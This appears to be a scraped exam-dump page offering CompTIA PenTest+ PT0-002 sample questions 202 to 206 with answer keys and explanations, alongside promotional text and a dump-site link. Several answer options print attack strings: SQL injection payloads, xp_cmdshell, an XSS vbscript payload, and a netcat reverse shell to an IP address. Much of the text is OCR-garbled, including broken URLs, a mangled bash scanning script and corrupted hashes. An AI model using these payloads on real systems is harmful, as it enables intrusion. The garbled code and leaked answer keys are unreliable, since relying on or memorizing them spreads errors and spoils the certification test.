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materials in the market, our PT0-002 practice guide can give you 100% pass guarantee. You will feel grateful if you choose our
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CompTIA PenTest+ Certification Sample Questions (Q202-Q207):

NEW QUESTION # 202

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the
catalog:

http://company.convcatalog.asp?productid=22

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.convcatalog.asp?productid=22; WAITFOR

DELAY

'00:00:05'

Which of the following should the penetration tester attempt NEXT?

e A http7//company.convcatalog.asp?productid=22' OR 1=1 --
e B. http:/company.convcatalog.asp?productid=22:EXEC
xp_cmdshell
'whoami
e C. http//company.conycatalog.asp?productid=22' UNION SELECT 1,2,3 --
e D. http’//company.convcatalog,asp?productid=22;nc
192.168.1.22 4444 -¢ /bin/bash

Answer: C

Explanation:
Explanation
This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The
attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web
application.

NEW QUESTION # 203
A penetration tester writes the following script:
§!/bin/bash

network= *10.100.100/
ports= ‘22 23 80 443(

for x in {1..2€YYS
do (ng 'P&Ev 5Snetwork.$x Sports )
done

Which of the following is the tester performing?

A. Searching for service vulnerabilities

B. Building a reverse shell listening on specified ports
C. Scanning a network for specific open ports

D. Trying to recover a lost bind shell

Answer: C

NEW QUESTION # 204
During an engagement, a penetration tester found the following list of strings inside a file:


https://www.testkingpdf.com/PT0-002-testking-pdf-torrent.html

3af068faaBl326ffebcadBe2ab36a779
48ec2f4£f526303a5%ded67538e6bcellceh
9493bf035¢c534197d9810a5e65a10632
C847bda2e76eclfScbbbe30d2046d5e8
ed225542767a81l0e6fceebf640164b140
cfbelfdd6e6bb0c5c9%abd8c947£272ef4
c05cbc5a6Sbecc91f56a7e 06689 1ad 18
S9ee3564cbflS42iebabcd3dcb6794%ad
SaZ2adibebs02e20cd4efcf057b01050be
4865a2ed25edl18515b7e%7beb2b40346
b0236938a6518fc65b72159687e3a27b
9¢c96354712595ef2ff966754564d3a464
aS5ab3fec6l59b85209eal0cl86531a4St
Sb38816e7921£1400245£f4c629a503bc8
dl2e624a220d54fd3b34b8S%ee7165df17
Which of the following is the BEST technique to determine the known plaintext of the strings?

A. Brute-force attack

B. Credential-stuffing attack
C. Rainbow table attack

D. Dictionary attack

Answer: C

NEW QUESTION # 205

A company developed a new web application to allow its customers to submit loan applications. A penetration tester is reviewing
the application and discovers that the application was developed in ASP and used MSSQL for its back-end database. Using the
application's search form, the penetration tester inputs the following code in the search nput field:

IMG SRC=vbscriptsgbox ("Vulnerable to Attack") ;

>original Attribute="SRC"originalPath="vbscript;msgbox ("Vulnerable to Attack ") ;" When the tester checks the submit button on
the search form, the web browser returns a pop-up windows that displays "Vulnerable to Attack." Which of the following
vulnerabilities did the tester discover in the web application?

¢ A. SQL injection

¢ B. Cross-site scripting

¢ C. Command injection

¢ D. Cross-site request forgery

Answer: B

NEW QUESTION # 206
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason
why the penetration testers should carry copies of the engagement documents with them?

e A. Asproofin case they are discovered

¢ B. To validate the billing information with the client

e C. To guide them through the building entrances

e D. As backup in case the original documents are lost

Answer: A
Explanation:

Explanation
The penetration testers should carry copies of the engagement documents with them as proof'in case they are discovered by security



guards, employees, or law enforcement officials. The engagement documents should include the scope, objectives, authorization, and
contact information of the penetration testing team and the client. This will help avoid any legal or ethical issues that may arise from
trespassing, breaking and entering, or unauthorized access. The other options are not valid reasons for carrying the engagement
documents with them.

NEW QUESTION # 207
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